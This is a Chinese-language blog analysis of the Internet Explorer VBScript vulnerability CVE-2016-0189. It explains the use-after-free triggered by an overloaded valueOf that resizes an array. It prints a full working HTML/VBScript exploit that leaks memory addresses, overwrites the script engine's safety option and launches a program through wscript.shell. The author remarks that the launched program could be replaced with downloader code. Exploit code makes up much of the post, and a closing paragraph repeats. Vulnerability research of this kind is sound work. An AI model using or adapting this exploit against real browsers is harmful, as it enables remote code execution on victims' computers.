CVE-2016-0189
IE CVE-2016-0189远程执行漏洞分析
作者: 被遗弃的庸才
一、前言
IE CVE-2016-0189是通过Microsoft发布的MS16-051的补丁程序进行对比之后发现的,随后漏洞被韩国用于APT攻击。出现漏洞的原因是在vbs解析引擎中,数组中指定下标时会调用vbscript!AccessArray中的vbscript!rtVariantChangeTypeEx函数,vbscript!rtVariantChangeTypeEx函数并没有实现而是调用了oleaut32!VariantChangeTypeEx函数,在这个函数中会检查传入的索引类型,如果不是整数型就会调用valueof方法,进行类型转化,注意这里的valeueof是可以被重载的(这里就可以做一些猥琐的事情)。如果我们在重载的valueof函数中减小数组的大小,内存就会被释放,这时立刻申请内存,数组被释放的部分就可能被再次占用(但是数组的访问还是原始的大小,我们就可以构造任意地址的读写)。这里是先定义一个比较大的二维数组A(1, 2000),接着给A(arg1, 2)赋值,首先会去调用重载的valueof函数,函数中会修改A数组的大小,接着就立刻申请内存进行占位,最后返回1。对aw.A(arg1, 2)赋值就会变成对aw.A(1, 2)赋值,而且A数组的A(1,1)之后的内存已经被释放又被构造的内存重新占用了。
二、漏洞复现
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<script type="text/vbscript">
Dim aw
Dim plunge(32)
Dim y(32)
prefix = "%u4141%u4141"
d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
b = String(64000, "D")
c = d & b
x = UnEscape(c)
Class ArrayWrapper
Dim A()
Private Sub Class_Initialize
' 2x2000 elements x 16 bytes / element = 64000 bytes
ReDim Preserve A(1, 2000)
End Sub
Public Sub Resize()
ReDim Preserve A(1, 1)
End Sub
End Class
Class Dummy
End Class
Function getAddr (arg1, s)
aw = Null
Set aw = New ArrayWrapper
For i = 0 To 32
Set plunge(i) = s
Next
Set aw.A(arg1, 2) = s
Dim addr
Dim i
For i = 0 To 31
If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
addr = strToInt(Mid(y(i), 3 + 4, 2))
End If
y(i) = Null
Next
If addr = Null Then
document.location.href = document.location.href
Return
End If
getAddr = addr
End Function
Function leakMem (arg1, addr)
d = prefix & "%u0008%u4141%u4141%u4141"
c = d & intToStr(addr) & b
x = UnEscape(c)
aw = Null
Set aw = New ArrayWrapper
Dim o
o = aw.A(arg1, 2)
leakMem = o
End Function
Sub overwrite (arg1, addr)
d = prefix & "%u400C%u0000%u0000%u0000"
c = d & intToStr(addr) & b
x = UnEscape(c)
aw = Null
Set aw = New ArrayWrapper
' Single has vartype of 0x04
aw.A(arg1, 2) = CSng(0)
End Sub
Function exploit (arg1)
Dim addr
Dim csession
Dim olescript
Dim mem
' Create a vbscript class instance
Set dm = New Dummy
' Get address of the class instance
addr = getAddr(arg1, dm)
' Leak CSession address from class instance
mem = leakMem(arg1, addr + 8)
csession = strToInt(Mid(mem, 3, 2))
' Leak COleScript address from CSession instance
mem = leakMem(arg1, csession + 4)
olescript = strToInt(Mid(mem, 1, 2))
' Overwrite SafetyOption in COleScript (e.g. god mode)
' e.g. changes it to 0x04 which is not in 0x0B mask
overwrite arg1, olescript + &H174
set obj = createobject("wscript.shell")
obj.run("notepad")
End Function
Function triggerBug
' Resize array we are currently indexing
aw.Resize()
' Overlap freed array area with our exploit string
Dim i
For i = 0 To 32
' 24000x2 + 6 = 48006 bytes
y(i) = Mid(x, 1, 24000)
Next
End Function
</script>
<script type="text/javascript">
function strToInt(s)
{
return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
}
function intToStr(x)
{
return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
}
var o;
o = {"valueOf": function () {
triggerBug();
return 1;
}};
setTimeout(function() {exploit(o);}, 50);
</script>
</body>
</html>
在本地虚拟机上面就成功执行poc了
三、漏洞分析
看一看会用到的结构体,虽然看起来很长但是只有0x10个字节,这里是各个类型的定义https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/3fe7db9f-5803-4dc4-9d14-5425d3f5461f。
typedef struct tagVARIANT {
union {
struct {
VARTYPE vt;
WORD wReserved1;
WORD wReserved2;
WORD wReserved3;
union {
LONGLONG llVal;
LONG lVal;
BYTE bVal;
SHORT iVal;
FLOAT fltVal;
DOUBLE dblVal;
VARIANT_BOOL boolVal;
VARIANT_BOOL __OBSOLETE__VARIANT_BOOL;
SCODE scode;
CY cyVal;
DATE date;
BSTR bstrVal;
IUnknown *punkVal;
IDispatch *pdispVal;
SAFEARRAY *parray;
BYTE *pbVal;
SHORT *piVal;
LONG *plVal;
LONGLONG *pllVal;
FLOAT *pfltVal;
DOUBLE *pdblVal;
VARIANT_BOOL *pboolVal;
VARIANT_BOOL *__OBSOLETE__VARIANT_PBOOL;
SCODE *pscode;
CY *pcyVal;
DATE *pdate;
BSTR *pbstrVal;
IUnknown **ppunkVal;
IDispatch **ppdispVal;
SAFEARRAY **pparray;
VARIANT *pvarVal;
PVOID byref;
CHAR cVal;
USHORT uiVal;
ULONG ulVal;
ULONGLONG ullVal;
INT intVal;
UINT uintVal;
DECIMAL *pdecVal;
CHAR *pcVal;
USHORT *puiVal;
ULONG *pulVal;
ULONGLONG *pullVal;
INT *pintVal;
UINT *puintVal;
struct {
PVOID pvRecord;
IRecordInfo *pRecInfo;
} __VARIANT_NAME_4;
} __VARIANT_NAME_3;
} __VARIANT_NAME_2;
DECIMAL decVal;
} __VARIANT_NAME_1;
} VARIANT;
这里首先分析一下获取地址,这里的s代表的是Dummy类,其中这个类是空的没有具体实现的函数。plunge(i)是用来占用一些空隙内存的,这里在调用A(arg1, 2)时会触发valueOf,会释放内存后申请内存,其中x是精心构造的,为了得到类对象的地址,x前面的0x41是为了方便找到这个块内存。查找的方式是判断存储在A(1,2)的对象的,是否在申请的内存内,从而出现错位和2014-6332的错位几乎是一样的,可以看下图的windbg的内存布局。
prefix = "%u4141%u4141"
d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
b = String(64000, "D")
c = d & b
x = UnEscape(c)
Function triggerBug
' Resize array we are currently indexing
aw.Resize()
' Overlap freed array area with our exploit string
Dim i
For i = 0 To 32
' 24000x2 + 6 = 48006 bytes
y(i) = Mid(x, 1, 24000)
Next
End Function
o = {"valueOf": function () {
triggerBug();
return 1;
}};
Set dm = New Dummy
' Get address of the class instance
addr = getAddr(arg1, dm)
...............
Function getAddr (arg1, s)
aw = Null
Set aw = New ArrayWrapper
For i = 0 To 32
Set plunge(i) = s
Next
Set aw.A(arg1, 2) = s
Dim addr
Dim i
For i = 0 To 31
If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
addr = strToInt(Mid(y(i), 3 + 4, 2))
End If
y(i) = Null
Next
If addr = Null Then
document.location.href = document.location.href
Return
End If
getAddr = addr
End Function
我们想要的是下面的这种情况,A和f(x)是相邻的。
这里下断点的方式bp vbscript!VbsIsEmpty,这里在addr = strToInt(Mid(y(i), 3 + 4, 2))后面加上IsEmpty(f(i))就能看到如下的内存布局
好了现在找到我们需要的内存结构和类对象的地址接下来就是得到CSession对象的地址,这里的构造了一个0x8的数据类型也就是BSTR(string),同时可以从上图看出该结构为4字节的字符串长度+字符+两个字节的00(上图看不见,用来标记结尾的)。
之后利用同样的方式构造出字符串的的数据类型,这里用一个问题就是为什么要+8在strToInt(Mid(mem, 3, 2)),既然csession对象在0xc的位置直接leakMem(arg1, addr + c)在csession = strToInt(Mid(mem, 1, 2))不是一样的吗?我们从内存的角度来看一看为什么不行。
mem = leakMem(arg1, addr + 8)
csession = strToInt(Mid(mem, 3, 2))
csession = strToInt(Mid(mem, 3, 2))
mem = leakMem(arg1, csession + 4)
olescript = strToInt(Mid(mem, 1, 2))
Function leakMem (arg1, addr)
d = prefix & "%u0008%u4141%u4141%u4141"
c = d & intToStr(addr) & b
x = UnEscape(c)
aw = Null
Set aw = New ArrayWrapper
Dim o
o = aw.A(arg1, 2)
leakMem = o
End Function
老规矩可以在o = aw.A(arg1, 2)后面加上一个IsEmpty(y(0))并下断,断下之后可以看到下面的内存
最后就是构造写,可以从代码中看出把类型构造为0x400c之后给olescript对象加上0x174的赋值为0,那么我们还是一样添加IsEmpty(y(0))之后下断,但是会有一个问题就是拿到的是f(0)并不是我们想要的,主要原因是f(0)在内存中不是和A数组紧挨,所以我们这里添加一些代码来确认这里的A和f(0)是相邻的。
overwrite arg1, olescript + &H174
Sub overwrite (arg1, addr)
d = prefix & "%u400C%u0000%u0000%u0000"
c = d & intToStr(addr) & b
x = UnEscape(c)
aw = Null
Set aw = New ArrayWrapper
' Single has vartype of 0x04
IsEmpty(y(0))
aw.A(arg1, 2) = CSng(0)
End Sub
我是添加的代码
Sub overwrite (arg1, addr)
d = prefix & "%u400C%u0000%u0000%u0000"
c = d & intToStr(addr) & b
x = UnEscape(c)
aw = Null
Set aw = New ArrayWrapper
aw.A(arg1, 2) = CSng(0)
Dim i
For i = 0 To 32
If Asc(Mid(y(i), 3, 1)) <> &h8 Then
IsEmpty(y(i))
End If
Next
End Sub
这里可以看到将目标地址修改为4关闭了safemode,开启上帝模式,之后添加一些vb代码打开notepad,当然这vb代码可以换成其他downloader的代码。
aw = Null
Set aw = New ArrayWrapper
aw.A(arg1, 2) = CSng(0)
Dim i
For i = 0 To 32
If Asc(Mid(y(i), 3, 1)) <> &h8 Then
IsEmpty(y(i))
End If
Next
End Sub
这里可以看到将目标地址修改为4关闭了safemode,开启上帝模式,之后添加一些vb代码打开notepad,当然这vb代码可以换成其他downloader的代码。
上一篇: ks(洛伦兹曲线)指标理解
下一篇: 协方差矩阵的模拟及独立性、相关性的判断
推荐阅读